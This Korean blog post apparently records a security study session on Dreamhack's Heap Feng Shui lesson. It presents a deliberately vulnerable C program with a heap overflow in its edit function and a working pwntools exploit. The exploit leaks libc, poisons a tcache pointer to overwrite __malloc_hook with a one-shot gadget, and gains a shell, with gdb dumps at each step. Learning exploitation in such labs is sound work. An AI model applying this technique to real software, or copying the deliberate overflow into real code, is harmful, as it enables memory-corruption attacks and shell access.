혜랑's STORY

[Dreamhack] Heap Allocator Exploit : Heap Feng Shui 본문

2021 SISS 21기 활동/2학시 시스템

[Dreamhack] Heap Allocator Exploit : Heap Feng Shui

hyerang0125 2021. 10. 8. 16:33
우분투 버전이 16.04라 tcache를 실행할 수 없어 드림핵에 있는 자료를 가져와서 사용함!!

Heap Feng Shui

힙의 레이아웃을 조작하여 원하는 객체를 덮어쓸 수 있게 하는 기법

리얼 월드에서는 프로그램의 코드가 큰만큼 동적 할당도 많이 이루어지기 때문에 힙 오버플로우 취약점이 있다하더라도 힙 원하는 객체를 덮어쓰는 것이 쉽지 않다. 덮어쓸 객체의 낮은 주소에 힙 오버플로우가 발생하는 힙을 할당하여 덮어써야 한다.

해당 기법을 설명한 그림이다. (드림핵 그림자료)

C++의 경우 특정 클래스가 불리면 생성자가 호출되고, vtable이 힙과 같은 특정 메모리에 할당이 될 것이다. 이때 힙 오버플로우 취약점을 이용하여 vtable 객체를 덮기 위해서는 해당 객체보다 낮은 주소에 힙을 할당하여야 한다.


// gcc -o fengshui1 fengshui1.c -no-pie 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int add();
int del();
int edit();
int show();
char *ptr[20];
int ptr_size[20];
int heap_idx = 0;
int main()
{
	int idx;
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	while(1) {
		printf("1. Add\n");
		printf("2. Del\n");
		printf("3. Edit\n");
		printf("4. Show\n");
		printf("> ");
		scanf("%d",&idx);
		switch(idx) {
			case 1:
				add();
				break;
			case 2:
				del();
				break;
			case 3:
				edit();
				break;
			case 4:
				show();
				break;
			default:
				printf("Bye\n");
				exit(0);
		}
	}
	return 0;
}
int add() {
	int size;
	if(heap_idx >= 20 ) {
		exit(0);
	}
	printf("Size: ");
	scanf("%d",&size);
	ptr_size[heap_idx] = size;
	ptr[heap_idx] = (char *)malloc(size);
	heap_idx++;
	return 0;
}
int del() {
	int idx;
	printf("idx: ");
	scanf("%d",&idx);
	if(idx >= 20) {
		exit(0);
	}
	free(ptr[idx]);
	ptr[idx] = 0;
	return 0;
}
int edit() {
	int idx;
	printf("idx: ");
	scanf("%d", &idx);
	if(idx >= 20) {
		exit(0);
	}
	printf("Data: ");
	read(0, ptr[idx], ptr_size[idx]+100);
	return 0;
}
int show() {
	int idx;
	printf("idx: ");
	scanf("%d", &idx);
	if(idx >= 20) {
		exit(0);
	}
	printf("Data: %s", ptr[idx]);
	return 0;
}

위 코드는 이전에 다룬 예제들과 비슷하며, 힙 오버플로우 취약점이 존재한다. 힙 오버플로우가 존재하는 힙 청크 뒤에 다른 힙을 할당, 해제하여 Heap Feng Shui로 FD를 덮어써서 공격할 수 있다.

익스플로잇 시나리오는 다음과 같다.

  1. 할당할 때 메모리를 초기화 하지 않ㅎ기 때문에 unsorted bin에 들어간 힙의 경우 main_arena 영역의 주소가 FD, BK 위치에 쓰여진다. 이를 통해 라이브러리 주소를 릭 할 수 있다. tcache의 경우 large bin 크기의 힙은 처리하지 않기 대문에 큰 사이즈의 힙을 할당, 해제하여 unsorted bin을 만들 수 있다.
  2. tcache에서 허용하는 힙의 크기를 할당, 해제한다. 이때, Heap Feng Shui를 사용하여 다른 힙 객체를 덮어쓸 수 있게 힙 레이아웃을 구성한다.
  3. 힙 오버플로우를 통해 다른 객체릐 FD를 __malloc_hook으로 조작하여, __malloc_hook 변수 위치에 힙을 할당할 수 있게 하고, edit 함수를 사용하여 __malloc_hook을 원샷 가젯의 주소로 덮어쓴다.
  4. malloc 함수를 호출하여 셸을 획득한다.

# fengshui1.py
from pwn import *

p = process("./fengshui1")

def add(size):
	print p.sendlineafter(">","1")
	print p.sendlineafter(":",str(size))

def delete(idx):
	print p.sendlineafter(">","2")
	print p.sendlineafter(":",str(idx))

def edit(idx,data):
	print p.sendlineafter(">","3")
	print p.sendlineafter(":",str(idx))
	print p.sendlineafter(":",str(data))

def show(idx):
	print p.sendlineafter(">","4")
	print p.sendlineafter(":",str(idx))

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# tcache escape main_arena leak
add(0x10) # 0 

add(0x1000) # 1
add(0x1000) # 2

delete(1)

add(0x1000) # 3

show(3)

print p.recvuntil("Data: ")
libc_leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = libc_leak - 0x3ebca0
malloc_hook = libc_base + libc.symbols['__malloc_hook']
oneshot = libc_base + 0x10a38c
print hex(libc_leak)
print hex(libc_base)

# heap fengshui & overflow
add(32) # 4
add(32) # 5
add(32) # 6

delete(6)
delete(4)

add(32) # 7

payload = "A"*32
payload += p64(0)
payload += p64(0x31)
payload += "A"*32
payload += p64(0)
payload += p64(0x31)
payload += p64(malloc_hook)
edit(7, payload)

add(32) # 8
add(32) # 9

edit(9,p64(oneshot))
add(32)
p.interactive()

위 코드의 설명은 다음과 같다.

[line 27 ~ 45]

tcache는 large bin 크기의 힙을 tcache_entry에 추가하지 않기 때문에 큰 크기의 힙을 할당하고, 해제하면 unsorted bin이 되어 main_arena 영역의 주소를 획득할 수 있다.

메뉴를 고르는 main+155에 bp를 걸어주었다.

프로그램 시작
add(0x10) #0
add(0x1000) #1
add(0x1000) #2
delete(1)

gdb-peda$ heapinfoall
===================  Thread 1  ===================
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x18aa290 (size : 0x1ed70) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x18a8270 (size : 0x1010)
gdb-peda$ x/10gx 0x18a8270
0x18a8270:	0x0000000000000000	0x0000000000001011
0x18a8280:	0x00007f95c70b6ca0	0x00007f95c70b6ca0

해제 했을 때 unsorted bin에 0x1010 크기의 힙이 들어간 것을 확인할 수 있다.

또한 FD, BK에 main_arena 영역의 주소가 쓰여졌다.

해당 bin의 크기와 같은 크기로 할당을 하여 해당 영역을 재사용 한 뒤에, show 함수를 사용하면 main_arena 영역의 주

소를 릭 할 수 있다. 라이브러리의 베이스 주소를 계산하고, 이후에 FD를 __malloc_hook으로 덮기 위해 주소를 구한다.

[line 48 ~ 56]

힙 오버플로우를 이용하여 다른 힙 영역을 덮어야 하므로 3개의 청크를 할당하고, 여섯 번째와 네 번째 힙을 해제한다. 두 개의 힙을 해제하는 이유는 Heap Feng Shui로 다른 객체를 덮기 위함이다.

여섯 번째 힙을 해제하면서, FD에 주소가 쓰여질 것이고, 다음에 힙을 할당될 때 쓰여진 주소에 힙이 할당될 것이다. 네 번째 힙을 해제하고 할당하게 되면, 3개의 힙 중 제일 앞에 있는 영역에 힙이 할당되기 때문에 힙 오버플로우를 발생시키면 뒤에 존재하는 해제된 여섯 번째 힙의 FD를 덮어쓸 수 있게 된다.

add(32) #4
add(32) #5
add(32) #6
delete(6)
delete(4)

gdb-peda$ heapinfoall
===================  Thread 1  ===================
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x18aa320 (size : 0x1ece0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x30)   tcache_entry[1](2): 0x18aa2a0 --> 0x18aa300
0x18aa290:	0x0000000000000000	0x0000000000000031
0x18aa2a0:	0x00000000018aa300	0x0000000000000000
0x18aa2b0:	0x0000000000000000	0x0000000000000000
0x18aa2c0:	0x0000000000000000	0x0000000000000031
0x18aa2d0:	0x0000000000000000	0x0000000000000000
0x18aa2e0:	0x0000000000000000	0x0000000000000000
0x18aa2f0:	0x0000000000000000	0x0000000000000031
0x18aa300:	0x0000000000000000	0x0000000000000000
0x18aa310:	0x0000000000000000	0x0000000000000000
0x18aa320:	0x0000000000000000	0x000000000001ece1

같은 bin 크기의 힙을 할당하면 다음과 같다.

gdb-peda$ heapinfoall
===================  Thread 1  ===================
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x18aa320 (size : 0x1ece0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x30)   tcache_entry[1](1): 0x18aa300

0x18aa2a0 주소에 힙을 새로 할당하고 힙 오버플로우가 발생하면 뒤에 존재하느느 0x18aa2c0, 0x18aa2f0 힙 영역을 덮어 쓸 수 있다.

현재 tcache_entry는 0x18aa300 주소를 가리키고 있다. 힙 오버플로우를 통해 0x18aa300 주소에 값을 쓰게되면 FD를 덮어써서 원하는 영역에 힙을 할당할 수 있게 된다.

[line 58 ~ 65]

Heap Feng Shui를 통해 edit 함수에 존재하는 힙 버퍼 오버플로우 취약점으로 0x18aa300 주소, 즉, FD를 __malloc_hook 주소로 조작하였다.

gdb-peda$ x/100gx 0x18aa300-0x80
0x18aa280:	0x0000000000000000	0x0000000000000000
0x18aa290:	0x0000000000000000	0x0000000000000031
0x18aa2a0:	0x4141414141414141	0x4141414141414141
0x18aa2b0:	0x4141414141414141	0x4141414141414141
0x18aa2c0:	0x0000000000000000	0x0000000000000031
0x18aa2d0:	0x4141414141414141	0x4141414141414141
0x18aa2e0:	0x4141414141414141	0x4141414141414141
0x18aa2f0:	0x0000000000000000	0x0000000000000031
0x18aa300:	0x00007f95c70b6c30	0x000000000000000a
0x18aa310:	0x0000000000000000	0x0000000000000000
0x18aa320:	0x0000000000000000	0x000000000001ece1
gdb-peda$ heapinfoall
===================  Thread 1  ===================
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x18aa320 (size : 0x1ece0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x30)   tcache_entry[1](1): 0x18aa300 --> 0x7f95c70b6c30

0x30 bin 크기의 힙을 두 번 할당하면 조작한 FD인 __malloc_hook에 할당할 수 있게 된다.

[line 68 ~ 69]

8번째 힙을 할당하면 tcache_entry는 __malloc_hook 주소를 가리키게 된다.

gdb-peda$ heapinfoall
===================  Thread 1  ===================
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x18aa320 (size : 0x1ece0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x30)   tcache_entry[1](0): 0x7f95c70b6c30

9번째 힙을 할당하면 아래와 같이 __malloc_hook에 할당되는 것을 확인할 수 있다.

gdb-peda$ i var ptr
0x00000000006020a0  ptr_size
0x0000000000602120  ptr
0x00007f95c70b7860  __start___libc_freeres_ptrs
0x00007f95c70b79f8  __stop___libc_freeres_ptrs
gdb-peda$ x/20gx 0x0000000000602120
0x602120 <ptr>:	0x00000000018a8260	0x0000000000000000
0x602130 <ptr+16>:	0x00000000018a9290	0x00000000018a8280
0x602140 <ptr+32>:	0x0000000000000000	0x00000000018aa2d0
0x602150 <ptr+48>:	0x0000000000000000	0x00000000018aa2a0
0x602160 <ptr+64>:	0x00000000018aa300	0x00007f95c70b6c30

__malloc_hook에 할당이 되었다.

[line 71 ~ 72]

9번째 힙이 __malloc에 할당 되었기 때문에 edit 함수로 해당 영역에 원샷 가젯의 주소를 쓰게 되면 다음 malloc 함수 호출 시 셸을 획득할 수 있다.

gdb-peda$ p __malloc_hook
$4 = (void *(*)(size_t, const void *)) 0x7fa5214f438c <exec_comm+2508>

다음은 fenshui1.py의 실행 결과이다.

$ python fengshui1.py
[+] Starting local process './fengshui1': pid 104775
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
1. Add
2. Del
3. Edit
4. Show
...
 idx
 Data: 
0x7f47c558cca0
0x7f47c51a1000
...
4. Show
 Size
[*] Switching to interactive mode
 $ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$